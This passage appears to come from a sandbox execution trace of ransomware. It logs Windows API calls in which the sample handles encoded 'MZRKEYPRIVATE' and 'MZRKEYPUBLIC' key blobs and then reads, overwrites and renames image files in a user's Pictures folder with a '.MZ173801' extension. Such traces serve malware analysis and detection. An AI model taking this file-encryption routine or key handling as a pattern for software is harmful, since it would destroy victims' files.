lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.666] GetCurrentThreadId () returned 0xab4 [0153.666] GetCurrentThreadId () returned 0xab4 [0153.666] GetCurrentThreadId () returned 0xab4 [0153.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24e324c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.667] GetCurrentThreadId () returned 0xab4 [0153.667] GetCurrentThreadId () returned 0xab4 [0153.667] GetCurrentThreadId () returned 0xab4 [0153.667] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\HyovCFdDMEMPXi2tYJN.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\hyovcfddmempxi2tyjn.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.667] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0153.667] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.667] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x17926 [0153.667] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.667] ReadFile (in: hFile=0x2f8, lpBuffer=0x24eb050, nNumberOfBytesToRead=0x17926, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24eb050*, lpNumberOfBytesRead=0x19f74c*=0x17926, lpOverlapped=0x0) returned 1 [0153.669] CloseHandle (hObject=0x2f8) returned 1 [0153.670] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\HyovCFdDMEMPXi2tYJN.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\hyovcfddmempxi2tyjn.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.672] WriteFile (in: hFile=0x2f8, lpBuffer=0x2503080*, nNumberOfBytesToWrite=0x17926, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x2503080*, lpNumberOfBytesWritten=0x19f758*=0x17926, lpOverlapped=0x0) returned 1 [0153.674] CloseHandle (hObject=0x2f8) returned 1 [0153.676] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\HyovCFdDMEMPXi2tYJN.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\hyovcfddmempxi2tyjn.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\HyovCFdDMEMPXi2tYJN.png.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\hyovcfddmempxi2tyjn.png.mz173801")) returned 1 [0153.677] GetCurrentThreadId () returned 0xab4 [0153.677] GetCurrentThreadId () returned 0xab4 [0153.677] GetCurrentThreadId () returned 0xab4 [0153.677] GetCurrentThreadId () returned 0xab4 [0153.677] GetCurrentThreadId () returned 0xab4 [0153.677] GetCurrentThreadId () returned 0xab4 [0153.677] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7971c0, ftCreationTime.dwHighDateTime=0x1d5eb10, ftLastAccessTime.dwLowDateTime=0xf3a44450, ftLastAccessTime.dwHighDateTime=0x1d5e74b, ftLastWriteTime.dwLowDateTime=0xf3a44450, ftLastWriteTime.dwHighDateTime=0x1d5e74b, nFileSizeHigh=0x0, nFileSizeLow=0x5535, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="KOUa9IHzzFzSN.bmp", cAlternateFileName="KOUA9I~1.BMP")) returned 1 [0153.677] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.677] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.677] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\KOUa9IHzzFzSN.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\koua9ihzzfzsn.bmp"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7971c0, ftCreationTime.dwHighDateTime=0x1d5eb10, ftLastAccessTime.dwLowDateTime=0xf3a44450, ftLastAccessTime.dwHighDateTime=0x1d5e74b, ftLastWriteTime.dwLowDateTime=0xf3a44450, ftLastWriteTime.dwHighDateTime=0x1d5e74b, nFileSizeHigh=0x0, nFileSizeLow=0x5535)) returned 1 [0153.677] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\KOUa9IHzzFzSN.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\koua9ihzzfzsn.bmp")) returned 0x20 [0153.677] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\KOUa9IHzzFzSN.bmp", dwFileAttributes=0x80) returned 1 [0153.679] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.679] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24d21ec, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.680] GetCurrentThreadId () returned 0xab4 [0153.680] GetCurrentThreadId () returned 0xab4 [0153.680] GetCurrentThreadId () returned 0xab4 [0153.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 